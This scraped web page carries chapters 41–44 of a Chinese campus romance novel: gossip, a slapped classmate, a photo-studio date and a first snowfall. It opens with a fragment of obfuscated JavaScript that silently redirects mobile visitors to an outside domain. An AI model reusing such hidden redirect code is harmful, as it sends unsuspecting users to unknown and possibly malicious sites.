d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305828|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 鞠言转过身，背对他往前走着，冷静的步伐与寻常无异。 周孝明停在原地，并没有追上来。 迎面的冷风携着路边枯黄的树叶越过她，往后飞向静止的周孝明。 她真后悔喜欢过他。 鞠言的眼睛有些酸涩，她压住情绪，把将要溢出的泪水咽回心里，她不要为这种人流一滴眼泪。 - “怎么这么快就回来了？”正敷着面膜打游戏的周靓雯抽空看了一眼回到宿舍的鞠言。 鞠言没有回答，她一眼望见了搁在自己书桌上的生日蛋糕，她慢慢走过去，伸手将紫色缎带抽了下来。 她的默然让寝室里的人发现了不对劲。 关鸥从椅子上站起身朝鞠言走过来：“你怎么啦？” 鞠言摇了下头：“我没事，你们要吃蛋糕吗？” 关鸥困惑道：“这不是要给周孝明的吗？” “和他吵架了吗？”沈清梨和童钰也走了过来。 鞠言答非所问：“你们想吃的话，就把蛋糕分了吃吧，我先去洗澡了。” 她径直地走进浴室，洗完澡后便一言不发地躺到了床上。 鞠言更换了手机壁纸，到这时才点开周孝明发送给她的消息。 第一条是他从她身旁经过时发送给她的：【我下课了，现在来找你。】 第二条引用了鞠言发送给他的那张照片：【真漂亮，是你堆的吗？】 最后一条是间隔十五分钟后发过来的：【我到你寝室楼下了。】 她闭了闭潮湿的眼睛，过往不受控地浮现眼前。 周孝明对她或许是有真心的，只不过那真心就像是年末傍晚那天，他来车站接她，与她十指相扣时，露在半截手套外的指尖。 鞠言点进周孝明的头像，犹豫着要不要将他删除，最后还是退了出来。 不是因为舍不得过去的那些回忆，而是因为周孝明是班长，虽说有班级群，但删除了他有些事情只能让别人代为转达，鞠言只是不想因为这些事去麻烦别人。 她将他送她的那条手链挂到了二手网站上，由于价低第二天就被人买下了。 - 鞠言终夜未眠，第二天睡到了中午才起床，寝室里没人，外面在下雨，她也没心情去图书馆，只在寝室里看了一下午的书。 那个废弃的生日蛋糕完好如初，鞠言等寝室里的其她人从图书馆回来后，切开分给了她们。 星期一，一日一夜的微雨过后，持久不降的高温陡然掉了下去，迟到的冷秋来临了。 清晨6:30分，通往教学楼的路上一把把撑开的伞在细雾一般的雨中移动着。由于时间早，气温格外的低些，有一些学生甚至穿上了冬装。 周孝明一如往常站在早自习教室的讲台前点名。他穿着白色卫衣，外面罩着一件黑色的羽绒马甲，鞠言发觉她送他的鞋子，他穿在脚上。 他看起来完全像是什么都没有发生，喊到她的名字时也若无其事，只是不像往常那样在点名结束后坐到她的身旁来。 鞠言也没有表现得像多数失恋的女生那样痛苦颓然，她的脸颊上找不到泪水的痕迹，在周孝明点到她的名字时，也依旧能够面色平静地答“到”。 由于两个人表现出的平静，其他同学很长时间都以为他们只是在闹小情侣之间的矛盾。 只有童钰她们知道她和周孝明分手的事，除了关鸥，其她人一开始对她态度都很小心翼翼，唯恐引起她的伤心，但即使在宿舍里，鞠言也并没有露出什么异样情绪来，她们这才放宽了心。 从前每天都点开的聊天页面，在一夜之间变得寂寥，鞠言身旁的人从周孝明又换回了童钰。 她的时间几乎都在图书馆里度过，用埋头苦学来抹去周孝明给她曾带来的一切。 鞠言对周孝明已有了感情，不难受是假的，但大家都在准备四级考试，她不想因为自己的事影响她们。 失恋一星期后平淡无常的一个夜晚，鞠言已经躺到了床上，她别着耳机，预备听一会儿口语就睡觉。 手机响了声，通讯录显示有人添加。 鞠言点进去，验证消息只有五个字： 【我是林今世。】 40-50 第41章 教室里只有三个人,两女一男，都是应用心理班的，鞠言只在上早晚自习时和他们打过照面,两个女孩背朝她坐在右侧第三排的位置上，飞机头的男生则靠在她们的后一排的桌子上,三人正聊着天。 “我觉得那个叫鞠什么的好做作——”其中一个短发女生说道。 “对对！”另一名长相可爱的女生不等她说完，便迫不及待地附和,“作得要死！那么冷的天，还要林今世天天送她来上早晚自习！” 短发女生：“对啊，她之前好像是心咨班班长的女朋友吧？从外表真看不出来,换男朋友这么快，专挑好看的谈。” 可爱女生声调怪怪的：“我觉得她也不怎么好看啊，林今世怎么会和她谈……” “可能是因为看她是个处。”飞机头的男生笑嘻嘻地接口道,“拿了第一次就分了。” “你怎么知道人家是处，万一只是看着清纯呢？”短发女生回过头笑道。 突如其来的恶意揣测让鞠言浑身发冷，她定在原地没有动。 感觉到身后有人走近,不用回头，她知道是林今世。 他显然也听到了他们刚才说的话,眼中透出寒意,他看了鞠言一眼，而后径自越过她快步走进教室。 飞机头男生察觉到有人朝自己走过来,下意识回过头,不等看清，就被林今世攥住衣领一把拽了起来，掴了一记耳光。 林今世的手劲大，男生的脸颊顿时红肿起来，唇上也洇出了一点儿血痕。 响亮的掌掴声使教室内瞬间寂静。 林今世松开手,像丢垃圾似的将被打得眼冒金星的男生甩了回座位上。 他侧过脸，冷冷地瞥了那两个 女孩一眼。 “……”两个女孩面面相觑，隔了片晌，两人先后怯声对鞠言道：“对不起。” 鞠言咬牙道：“再有下次，我会直接去告诉辅导员。” 短发女生胆怯地小声道：“不会再有下次的。” 另一个也连忙附和。 林今世收回目光，牵住鞠言的手，拉着她到他们从前常坐的位置上坐下。 虽然他们已经向她道了歉，但鞠言心里还是没有好受多少，她低声对林今世道： “谢谢。” 林今世：“……别跟我说谢谢。” 他牵着她的手没放开，握得更紧了些。 鞠言垂下眼：“嗯……” 鞠言比以往安静了许多，目光虽然停留在笔记本屏幕上，耳畔仍在不停地回响当时的话语，她不想因为这些人难受，可情绪还是有些难免的被影响。 林今世一直在注意着她的情绪，鞠言不想让他担心，侧过脸朝他笑一下。 “……” 看到她的笑，林今世的眉头微微抖了下，他盯着她的眼睛，忽然一把将她抱到了自己的腿上。 林今世紧紧搂住她，一股温暖与安全感袭来，鞠言将脸垫在他宽阔的肩膀上，瞬间有种欲泪的冲动。 林今世似乎感觉到了，他抱得更紧些，一只手轻轻抚摸着她的头发，他的手大，几乎完全覆盖住了她的后脑勺。 虽然从前交过几任女朋友，这样亲密的拥抱于他却还是第一次，也是第一次体会到感同身受甚至是更盛的心疼与在乎。 林今世闭上眼睛，心疼地一遍遍轻抚着她的脑袋，是因为他，她才会遭受这些恶意的中伤。 鞠言听到林今世的声音从后方传来，语气轻柔，却透出一股不容质疑： “我爱你。” 她眼眶一热，眼泪如断线的珍珠，坠落到他的肩膀上。 时间在林今世紧紧的怀抱中过去，空空的教室逐渐被到来的学生填满。 鞠言轻轻推了推林今世，他松开手臂，目光第一时间寻望她的眼睛。 因为哭过，鞠言的眼眶泛着红色，清丽的脸庞被泪痕划碎，使他的心更痛了。 林今世：“……” “别担心，是因为高兴。”鞠言轻笑，用手捧住他的脸，两人对视着，她情不自禁地在他唇上轻轻啄了一下。 林今世瞳孔微缩，下一刻，他的唇跟上来，想回应她的吻。 鞠言忙推住他，她不好意思地别开脸：“快上课了。” 鞠言从林今世身上下来，坐回里侧的位置上，她低落的情绪已经被治愈了大部分，又能集中注意力了，鞠言打开笔记本，开始做要交的思政作业。 林今世伏到桌上，却没有像往常一样睡觉，而是侧过头，一直安静地注视着她。 快打上课铃了。 林今世目光从她的身上挪开，他扫了眼教室，两个班级里的人都已经到齐了。 林今世拍了拍手，教室安静下来，所有人都不约而同地朝他看过来。 林今世将手揣回兜里，慢吞吞地说道： “别对我和我女朋友的事情说三道四，明白了吗。” 他瞥了一眼教室内的人，隐隐透出冷意的目光在之前说鞠言坏话的三人脸上停留了几秒。 三个人脸上都不约而同流露出了紧张的神色。 “……”教室内没有任何人说话，鞠言看到飞机头男孩在拼命点头。 伴随着上课的钢琴曲，鞠言的手机响了一声，是沈清梨发在宿舍群的消息：【比比，发生什么事了？】 鞠言：【他们传我的谣言。】 周靓雯秒回：【这几个人脑残吧！】 怕沈清梨和周靓雯知道了以后会直接炸毛在班级里跟那几个人吵起来，鞠言赶紧补充道：【已经解决了，不用担心。】 _ 晚自习的下课铃一响，先前谈论鞠言的三人组便以最快的速度蹿出了教室。 童钰朝那三人看看，又朝鞠言看了看。 感受到她的目光，鞠言回过脸朝她笑了笑。 林今世站起身，把鞠言收拾好的绿色托特包拿走，另一只手伸向她。 鞠言微微笑，牵住他的手，十指相扣。 出了教学楼，走在两侧都是树的大道上，林今世看了身旁的女孩一眼。 她的脸上没什么表情，看不出任何的情绪，但明显不再似平日里那样活泼。 林今世默了几秒后道：“明天我带你出去。” “去干嘛？”鞠言仰起脸看他。 “想干什么干什么。”林今世的声音很淡，“我都陪着你。” 鞠言微微弯眼，重展笑颜：“那我想去照相馆拍照。” 两人交往这段时间以来，除了鞠言上次偷偷截屏的几张“合照”以外，并没有真正意义上的合照，鞠言很想和林今世多留一些纪念品，等他出国以后，自己能有这些照片看看，或许也能不那么难熬。 林今世：“明天几点？我来接你。” 鞠言低头看了眼存着的课程表：“我明天上午有课，12点出发怎么样？” 林今世点头。 到女寝楼下了。 鞠言面朝林今世站在檐下：“那我上去了。” “有事和我打电话。”林今世边说边抬手轻轻揉了下她的头发。 鞠言点点头，转过身走进了寝室楼内。 虽然她的状态已经看不出任何低落情绪了，林今世却仍旧不放心，定定地站在原地，看着她的背影直至消失不见，才慢慢转身往回走。 鞠言一回到寝室就被四个室友围着“盘问”了许久，她费了好长时间才说服她们已经没事了。 洗完澡出来。鞠言摘下在书桌上充电的手机，拿着上了床。 床上提前开了电热毯，暖融融的，舒服极了，鞠言靠坐在床上，点开手机里未读的消息，除了一些群消息还有沈清梨分享给她的新款服装图片之外，还有两条，一条是林今世的，另一条是周孝明的。 “……” 周孝明发了一条四秒钟的语音过来。 鞠言不想听见他的声音，将消息转换成了文字。 周孝明：【今天是怎么回事？】 鞠言抿了抿唇，纤白的手指飞快在键盘上跃动了几下，将一句冷淡的【和你没关系。】回复给他。 而后，她退出了和周孝明的聊天框，点进了林今世的消息： 林今世发过来的同样是一条语音，鞠言点开： 【你到床上了没？】 鞠言将掉下去的被子又往身上拥了拥：【刚上来，怎么了？】 林今世：【把帘子拉好。】 鞠言虽然不解其意，但还是照做了。 她探出头跟还在下面聊天的室友们说了声晚安，而后将帘子拉好，给林今世回去微信：【好了。】 下一秒，林今世的视频电话就弹了出来。 鞠言伸手理了理头发，随后将视频接了起来。 林今世漂亮的脸出现眼前，他不掩饰地朝她的神色打量着，鞠言忍不住微微地笑起来： “放心，我没有再因为他们不开心了。” 确认她的神色的确无异后，林今世眼中温度才重新恢复。 “今天晚上我陪着你睡。” 鞠言含笑点点头，她忽然想起了什么，忙嘱咐他： “今天的事情可千万别告诉我哥，要是他知道了肯定会来我班级里闹的。” “知道。”林今世简短地答道。 鞠言把手机搁在枕边，自己也侧躺进被窝里，垂眼摸索着被角，轻声道：“其实今天我本来不想哭的……” “那为什么？”林今世的声音仍旧很淡，但贴耳传来，却有种莫名的轻柔。 鞠言不自觉抬眼看他，对上他缱绻的目光，原本想告诉他的话一下子不好意思再往下说了，改口道： “我也不知道。” 林今世：“是因为我吗？” 鞠言半张脸埋在被子里，小幅度点了点头。 林今世微微挑唇：“因为我的什么？” 鞠言脸一热，小声道：“因为你在……就会觉得委屈。” 林今世眼神微动：“……” “晚安。”鞠言软声道。 “……晚安。” 第42章 第二天鞠言早早就醒了,她看了眼屏幕那头的林今世，舍不得叫醒他。 大概过了五分钟不到。林今世也被订好的闹钟吵醒了，他慢慢睁开眼睛,漆黑的眼眸与那双一直在看着他 的眼睛对望。 “早。” 林今世懒懒地低声道。 鞠言微微弯眼：“早安。” 林今世渐暖的态度让鞠言在与他相处时稍稍胆大了一点儿，鞠言小声提出自己的要求：“下一次可以说早安吗？” 林今世瞥了她一眼：“有什么不同？” “更……”鞠言想了想,“从没有听你说过，就想听听看。” “早安。”林今世停顿一秒,声音略低，比早安更多了几分缱绻：“比比。” 鞠言有些不好意思，轻轻应一声。 林今世注意着她的表情,似是觉得有些好笑： “你还想再听什么？我满足你。” 他一手撑头，微微支起身，掩在身上的被子随之往下滑,颈肩的线条流畅悦目，锁骨与胸中线也是清晰可见。 鞠言的目光呆住，林今世的上半身似乎没穿衣服…… 见她呆呆的不回答,林今世凑近过来，完美无瑕的脸庞几乎占据了整个屏幕,鞠言不敢再看他,倏地躲进了被子里。 隔了好一会儿，才细声道：“你怎么没穿衣服？” 林今世：“……” 片刻后,他的声音传来：“好了,出来吧。” 听起来像是已经把衣服穿好了，鞠言的精神放松，她慢慢探出脑袋，朝林今世瞥了一眼。 他换了个姿势，懒散地靠在床头,屏幕正对着自己。 林今世并没有穿上衣服，而且，上半身的被子整个都掀掉了。 鞠言呆住，目光不自觉看去，是粉的…… 鞠言的脸一秒爆红，她不敢再看他，吱唔了一句：“我要起床了，先挂了！”便手忙脚乱地去点挂断键。 可因为闭着眼睛不敢看，手在屏幕上连点了好几下都没有将视频挂断。 林今世带笑的声音传进她的耳孔：“你的手在乱摸什么？” 鞠言的手指瞬间僵住，这下连脖颈都红通了，“抱歉抱歉！我不是故意的。” 林今世微微挑了下眉：“没事，想摸就摸吧。” “……”鞠言红着脸不搭腔，她硬着头皮飞快瞟了一眼屏幕，指尖找准位置，啪的一下将视频挂断。 林今世的声音消失了，鞠言在床上呆坐了许久，等脸上的红褪下去了一点了才爬下床洗漱。 林今世照例来接她，两人在寝室楼下碰了面，鞠言有些紧张，林今世把手上的早餐递给她，注意到鞠言还是有些紧张的样子，不由得微微挑唇： “你以后总要习惯的，难道以后不看了吗？” “……”鞠言抿紧了唇，脸在林今世肉眼可见下烧了起来。 …… 上午的最后一节课下课，鞠言随着人潮走出教室，走廊上，林今世迎着无数道憧憬的目光朝她走来，他今天打扮得很精致，发型似乎也有些不一样。 “你的头发做过了吗？”等他走到她身旁，鞠言仰起脸好奇地问道。 “嗯，随便抓了一下。”林今世淡淡道。 鞠言轻声道：“你今天真帅。” 林今世挑唇一笑：“我哪天不帅。” 鞠言：“……” 总觉得这种自恋的口吻不是很像林今世，反倒更像是自己的哥哥。 林今世：“想去哪拍？” “我待会儿还得上晚自习，就去步行街拍吧，我上次在那看见有一家照相馆。”鞠言伸手想去牵林今世的手，犹豫了下还是换成了牵袖子。 林今世微微颔首，他往后撤手抽回衣袖，转而与她手牵手- 照相馆的玻璃门贴着卡通贴纸，林今世推开门，让鞠言先进去。 店内还挺热闹的，不仅有情侣还有一起来的朋友。 照相馆的老板是个不到三十岁的年轻男人，正站在柜台前给客人结账，听到有人进来，不抬头地说了声：“欢迎光临。” 店不大装饰品却异常繁多，可爱的玩偶一只挨着一只，墙上用彩色小夹子挂着许多张客人留下的拍立得小照，以及各种祝福语。 鞠言低头看着一盒盒各式的饰品，回过头询问老板：“请问这些可以免费佩戴吗？” 空闲下来的老板抬起脸笑道：“没有拆封的需要购买，其他的都可以免费使用。” 他的目光触到林今世时微微怔了一下，随即望向了鞠言。 不知为何，鞠言感觉老板看自己和林今世的眼神有点怪怪的。 两人对着一只绿色的大型一次性成相机前拍了几张戴着兽耳兽爪的情侣照。 鞠言从饰品盒内挑了只粉色桃心小发卡，想别到林今世的头发上。 看清了她手中发夹的款式，林今世马上向后仰身躲开了，脸上一秒呈现出了抗拒的表情。 鞠言双手合十：“求你了。” “……” 林今世立刻放弃了挣扎，他弯下腰，一脸不情愿地让她把桃心发卡夹到了他的头发上，顺带又扎了一只小揪。 鞠言看着他眼里直泛星星：“很可爱。” 看着相片中别着粉色发夹，扎着小揪的自己，林今世一阵羞耻，但看了眼身旁拿着那张照片看个没完的鞠言，他知道，再给他一次重新选择的机会他还是会答应。 他们一起拍了好多张，其中一张两人挨在一起手牵着手的，是鞠言最喜欢的，她拿着看了好一会儿，随后才在笔筒里挑了一支蓝色的记号笔，在这张拍立得的白边上写下了时间。 林今世忽然问：“要不要在这里留一张照片？” 鞠言：“嗯？” 林今世微抬下巴指了下照片墙：“别人来的时候也可以看到我们。” “好。”鞠言点点头，她低下脸，在一叠照片中挑选着，每张都很舍不得，最后挑了一张两个人戴着卡通玩偶帽，肩挨着肩的。 “这张好吗？”她把这张照片抽出来给林今世看。 “我想选这张。”林今世瞥了一眼，随后抽出了另一张照片——复古风格的照片中，他侧脸吻着鞠言的脸颊，她的脸上微笑自然而明亮。 鞠言想起了在拍摄这张时，林今世是在按下快门的那一刻忽然侧脸吻上来的，由于突然，她脸上的还没来得及流露出意外，就被照相机记录了下来。 两个人看起来像是交往了许久那般轻松。 鞠言将照片拿在手里看了一会儿，微笑道：“我也很喜欢。” 他们的合照也加入了照片墙之中，成为了墙上愉快的陌生人中的两员。 拍完照片，鞠言还想把手机里家人，朋友们以及她小时候的照片洗一些出来。 林今世便先去了对面的那家甜品店点她想吃的芭菲。 洗好了照片，鞠言又在前台挑了一本毛茸茸的小猫相册，而后结了账，她正想出门，老板忽然喊了她一声： “小妹妹，” 鞠言停下脚步望着他。 左臂覆着纹身的男店主朝她招了招手，示意她过去。 鞠言一脸懵地走到他跟前，男店主看着她语重心长地轻声说道：“这种男模不可靠的，你还那么小，可千万别被他骗了，偶然玩一下可以，可不要当真了。” 鞠言：“……” 推开玻璃门出来，林今世正好走回来接她，他牵住她的手，朝那家甜品店走。 鞠言看见他就想起老板跟她说的话，忍不住扑哧一笑。 “笑什么？”林今世瞥向她。 鞠言带笑把刚才的误会跟他复述了一遍。 “……”林今世听后默然两秒，随即要折身回去算账。 鞠言连忙拉住他：“人家不是故意的。” 林今世：“……” 小雨天的傍晚映在木桌上摆放的紫色干玫瑰之后，并坐在落地窗前的长条横座上，林今世吮着冰咖啡，还在气刚才的事情，鞠言忍不住偷笑，挖了一勺草莓芭菲去哄他。 林今世冷淡地瞥了一眼她递过去的冰淇淋，鞠言想起他不怎么爱吃甜的，正想撤回手，下一刻，他已启唇将勺子含住。 他抬睫，和她的眼睛相望，鞠言明白他想到的会是什么，不禁微微有点脸热。 下一秒，林今世猝不及防地问道：“你以前有没有这样喂 过他？” 鞠言知道他说的是周孝明，她犹豫了下，垂下眼撒谎道：“没有……” 林今世：“……” 他半晌没说话，鞠言偷偷朝他看了一眼。 不等看清他的脸，他的气息已先一步堵上了她的唇，林今世轻松将她一把抱到了自己的腿上，俯下脸吻着。 鞠言不想在大庭广众之下和他接吻，慌忙想推开他，但林今世却像是没感觉到，急得鞠言在他肩膀上捶打了好几下，他才放开。 “只有一次而已，你有必要这样吗？”鞠言有些生气，又有些委屈。 看着她被吻得泛红的脸颊，林今世眼中的占有更浓烈了一些： “其他的呢？” 鞠言忙摇摇头，“真的没有了！” 林今世抬起鞠言的下巴，看她不像撒谎的样子，眼中的占有欲才减弱了几分，这才松开了禁锢着她的手。 鞠言忙从他身上下来，红着脸坐回了自己的位置，心里有些震惊林今世的占有欲什么时候变得这么强烈。 看着鞠言埋头往吃冰淇淋，故意不理他的模样，林今世的眼睛微微弯了起来。 注意到林今世在笑，鞠言仰起脸想瞪他一眼，但一对上他那双含笑的漂亮眼睛，她的脸就又不争气的烫了起来，气也消了一大半。 “……”林今世立刻又想凑过来吻她。 鞠言忙躲开脸，双手推住他：“你再这样我真的要生气了！” “……”林今世只能作罢- 晚自习的时候，鞠言将今天拍的的那些照片连同手机里洗出来的照片都装进了相册里，一页页翻着看。 因为心里对自己的父母还有气，鞠言虽然也洗了几张他们的照片，但把“他们”选择放在自己不会去看的最后一页。 林今世支着脸和鞠言一块儿看，其他人的照片他全是一掠而过，完全不多看一眼，只有她的照片，他会停下来仔细地看好一会儿。 其中一张照片，林今世瞧了好一会儿。 鞠言也好奇地探脸朝他在看的那张照片看了看。 照片中是她七八岁的样子，头上戴了半只柚子皮当帽子，两手牵在身后，仰起脸看着镜头，甜甜地笑着。 “头上的柚子皮是鞠然骗我戴的。”鞠言笑道。 林今世垂睫看着照片中的她，随后看向身旁在一瞬间长大的她： “我想要。” “那你和我换，我也想要你小时候的照片。”鞠言笑吟吟地望着他。 “……”林今世默然几秒后道：“我小时候的照片很少，不知道有没有。” 鞠言微微一怔，“没有就算了，”她又相册里抽出了另外一张自己小时候的照片：“这张也给你。” 林今世浅笑若无，把那两张照片拿在手里看了好一阵，才放进口袋里。 鞠言原先打算上完晚自习就回宿舍，可林今世不肯。硬着腻着她待到了晚上九点，才肯送她回去。 两个人几乎一整天都待在一块，林今世到了寝室楼下，还是依依不舍地抱着她，鞠言好不容易才一边哄着一边推开了他。 “那我上去了，你回去早点睡觉。”她朝他挥了挥手，表示再见，随后背身往寝室走，不等走出去几步，却被林今世抓住手腕，再度一把拉回了怀里。 “你还没说明天见。”林今世的声音竟然有些委屈。 鞠言微怔，反应过来林今世是在撒娇，忙两手捧住他的脸，柔声道：“明天见。” 林今世在她唇上轻轻吻了一下，温柔而缱绻： “嗯。” 第43章 回到寝室,鞠言跟室友们说起了林今世被老板当成男模的事，沈清梨笑得在床上打滚，说一定要去这家照相馆看看。 正好过两天就是周末,五人便一起去了一趟，拍照片的同时,也顺便瞧瞧那位“仗义执言”的老板。 由于上次的误会，老板对鞠言印象也很深,看到她再度光临，还特意送了一套小发夹给她赔不是。 沈清梨忍不住笑，悄悄用手肘戳了戳鞠言,小声道： “他应该给林今世送小发夹才对。” 五个人拍完了好几套照片，一起投票挑选了其中一张最喜欢的合照挂到照片墙上，顺带围观一下上回鞠言和林今世留在这里的情侣照。 她们来到照片墙边,鞠言却没有在原有的位置找到他们的情侣照。 “诶？我记得是贴在这张照片边上的啊。”鞠言奇怪地仰着脸。 她的目光在一个个陌生的面孔上流动，却始终没找到她和林今世的脸。 其余人也跟着仰脸一起找。 鞠言拿出手机，把相册里挂上合照后拍的那张照片翻了出去确认了一下。 位置没有错,周边的照片也都没有变化，就是他们两个人的那张合照不见了。 周靓雯回过头：“老板,这边照片是定时会拿掉一些吗？” 老板仰起脸：“不会的,是找不到了吗？”他走过来帮忙寻找，六双眼睛把照片墙上那些脸都看了个遍,也没有发现鞠言和林今世。 “可能是掉了,或者被别人拿去了吧。”老板得出结论，他笑起来，“一定是你们两个太般配了。” 鞠言笑笑，因为只是一件小事，她们也没有再执着于找到那张照片,把五人的合照挂上去后，便出了店。 傍晚回到寝室后，周靓雯却意外发现了那张照片的踪迹。 周靓雯新交的男朋友是隔壁科技大学的，因而她也添加了科技大学的表白墙。 由于等下还要去上晚自习，周靓雯也懒得学习，坐在书桌前刷着朋友圈，瞥见科技大学表白墙新发的一条朋友圈，她的手停了下来，定睛看了看，随后扭过身，把自己的手机屏幕朝向鞠言： “比比，你们的照片是这张吗？” 鞠言摘下耳机，走到她床旁朝屏幕上看了看，是一条捞人的帖子： 【墙墙，想捞一下这个男孩子，是清津职院的也放心加俺！！！】 底下配的图是林今世被剪下来的单人照，身旁的鞠言已经消失的无影无踪了。 鞠言：“……嗯。” 听到她肯定的答复，周靓雯气得要命，当场就要去骂。 鞠言不想在这些无谓的事情上浪费时间，拉住她道：“算了吧。” 周靓雯抽回手：“不行，这人太过分了！” 她直接不匿名发了条言辞激烈的表白墙，将事情的来龙去脉说清楚后，又把盗窃者狠狠骂了一顿。 晚上的时候周靓雯得意洋洋地通知鞠言，盗窃者已经默默联系表白墙把那条捞人信息给删除了。 为了感谢周靓雯的仗义之举，鞠言主动提出要请周靓雯喝奶茶或者咖啡。 周靓雯：“我想喝蛋奶可以嘛？” 鞠言弯唇：“可以啊，明天就给你做。” “爱你比比！”周靓雯把她拉过来在脸颊上狠狠亲了一口- 一场秋雨一场寒，经历了几场的冷雨，清津的温度彻底掉到了零下。星期五的凌晨，寝室的窗外又传来了淅淅沥沥的声音。 鞠言冷得拢紧了被子，呢喃道： “是又下雨了吗？好冷啊。” “应该是吧，还好明天是周六，不用上早自习。”沈清梨的语气带着浓浓的劫后余生。 第二天早上，鞠言是最早醒过来的，她赖在床上看了会儿手机，清晨9:21分。有不少消息，大多都是林今世发给她的，即使只是游戏的截图，鞠言也一一认真地回复过去。 回完所有消息，鞠言爬下床，在衣柜里找了套厚睡衣穿上，她轻手轻脚地洗漱完，打算去食堂给室友们买早餐，鞠言走到阳台旁，拉开窗帘，查看是否需要带伞。 她 微微一怔，外面不是下雨了，而是迎来了冬季的第一场雪，校园到处都是白雪的痕迹，树木落完叶的枝干上也抹了一层白 玉雾的冬天虽然寒冷，但很少下雪，要下也是下冰雹或雨夹雪，又湿又冷，还难看极了。 活了十九年第一次见到真正的白雪覆盖下的世界，鞠言兴奋极了，马上拿出手机拍了张雪景发给林今世。 【下雪了！】 今天是周末，她不用上早自习，本以为要到下午林今世才会回复，没想到隔了片刻就听到手机响了一声： 林今世：【嗯。】 鞠言有些诧异：【这么早就醒了吗？】 林今世：【想早点看到你的消息。】 如果是前几日，鞠言看见屏幕里的这条信息肯定会怀疑这到底是不是林今世本人发的。 她的心情更加雀跃了几分，迫不及待想见到他： 【你想去玩雪吗？】 几秒不到便收到了林今世的回复：【我来接你。】 放下手机，鞠言穿上带绒毛的乳白色雪地靴，换了一身白色羽绒服，从衣柜里找出了那顶薄荷绿猫耳针织帽戴上，在穿衣镜前照了照，又在嘴唇上涂了一层亮汪汪的润唇膏，随后兴高采烈地跑下楼去。 外面的温度逼近零下，冷得刺骨，呼气成雾。 林今世已经在楼下等她，他单手抄兜，垂眸看着手机，虽然只是普通的动作，但因为是他做出来的，所以格外好看。 鞠言走到他身旁，仰起脸甜声笑道：“早上好。” 林今世将手机放回兜里，他的声音伴随着雾气：“你吃过早餐了没？” “我还不饿呢。”鞠言迫不及待地想去看雪，完全顾不上吃早餐。 寝室楼下的大道因为要方便通行，雪都被铲掉了，只留下了花坛里的一些残雪。 鞠言：“我们去公园看看吧，那边的雪说不定不会铲掉呢。” “嗯。” 林今世伸过来执住她的手，他微微蹙了下眉：“你的手好冷……” “你多牵一会儿就暖和了。”鞠言小声道。 “……”林今世的嘴角泛起了一点浅笑，把牵手的方式换成了十指相扣。 鞠言牵住林今世的手朝公园的方向走着，一边摊开手认真地试着去接从树枝上掉下来的小雪屑，她眼望着雪景： “清津会下雪，这也是我喜欢清津的一个原因。” 林今世瞥了她一眼，抬起手轻轻摇了下人行道旁的一株树枝，积雪重新变成美丽的雪花从她上方坠落下来。 鞠言亮晶晶的眼睛追随着那些雪花直到它们落到地面，她期待地看向林今世：“再来一次可以吗？” 林今世：“……不用那么客气。” 他扫了眼那棵树，选了一枝坠了最多积雪的树枝轻轻摇了摇。 鞠言在漫天飘洒下来的雪花中转了一圈。 “……”林今世眼神微动，还想再伸手摇另一棵积雪的枝桠，但鞠言已经重新牵住他的手，拉着朝公园走了。 公园的积雪果然没有铲除，路面上积了厚厚的一层，覆盖着皑皑白雪的地面踩起来松松软软的，一步一个脚印。 学生们们兴奋极了，叽叽喳喳的吵闹着，到处都是拍照、打雪仗的人，还有一个男生滚了一个很大的雪球推着到处显摆。 鞠言放开牵着林今世的手，迫不及待地从地上满满捧了一捧雪往上撒，开心道：“下雪了！” 林今世嘴角泛起了浅浅的笑，他弯下腰，一手抄兜，一手从地上抓了一大捧从高处往她身上撒下去。 “雪下大了。” 鞠言俯下身，抓起一团雪捏了个雪球往他身上砸了过去。 没有完全捏紧的雪团在林今世的黑色羽绒服上溅开晶莹。 林今世也从地上抓了一捧雪抛向鞠言，他手大，个子又高，鞠言被他撒得满头都是雪。她没有生气，俯下身抓了一大捧跳起来往林今世身上丢。 两个人打起雪仗来，把对方身上砸的满的是冰花。 在飘落的雪片后，鞠言看到林今世在笑，嘴角迷人地挑起来。 鞠言体能不是很好，和他“互殴”了一会儿手就有些酸了，林今世打惯了篮球，体能顶十个鞠言，连着好几只雪球朝她砸过来，鞠言连忙求饶： “我输了我输了，不来了。” 林今世微微一笑：“输了可是要有惩罚的。” “惩罚就惩罚。” 鞠言想了想，跑到林今世身旁弯下腰，两手往后去掰他的腿弯，林今世往后一步躲开，莫名其妙地看着她。 鞠言笑出可爱的小梨涡：“我背你走一圈，当作惩罚可以吗？” “……”林今世的目光在她的梨涡上定格了两秒：你背不动我的。” “不试试怎么知道。”鞠言有点不服气。 林校草还没做好摔雪地里的准备，果断摇头拒绝：“这听起来更像是对我的惩罚。” 鞠言：“……那你想要怎么惩罚？” 第44章 话音未落,林今世忽然捞住了她的腰，将她一把抱了起来，鞠言吓了一跳,下意识地双臂环住了他的脖子，林今世松开了一只手,轻轻松松地单手抱着她在雪地上旋转了一圈。 鞠言看到他的睫毛长长的往下垂着，一丝丝清晰纤长,犹如细小的松针叶。 她在旋转感中望着林今世那双漂亮的眼睛，不由得有些走了神，隔了好一会儿才感觉到四面八方投来的目光。 鞠言蓦然想起旁边都是人,整张脸瞬间像是抹了一大片腮红，她连忙推了推林今世，让他将自己放下来。 林今世轻轻将她放回了地上,鞠言红着脸借着看雪跑到了花坛旁。 路缘石旁有三个女孩堆了一个大大的雪人，一个正在给刚堆好的雪人插上树枝做的手，另一个则是在用腮红给雪人涂脸颊。 鞠言见状,也蹲在地上，拢了一捧干净的雪开始塑起小雪人。林今世两手抄兜站在她身旁,他侧着脸不知道在看什么,忽然说道： “你自己玩一会儿。” 鞠言乖乖地点点头。 她一个人在雪地里认真地捏好了两个小雪人，一回头瞧见林今世回来了,鞠言起身朝他跑过去,将两个小雪人托在手心上给林今世看：“可爱吗？” 林今世瞥了一眼她堆的两个雪人，一大一小，小一点的看起来是女孩，大一点的则像男孩。 林今世猜到了鞠言捏的是他和自己，只是不好意思说。 他用手指了下小一点的那一个：“这个可爱。” 鞠言知道他指的是自己,有些不好意思，轻声道：“另一个也很可爱。” 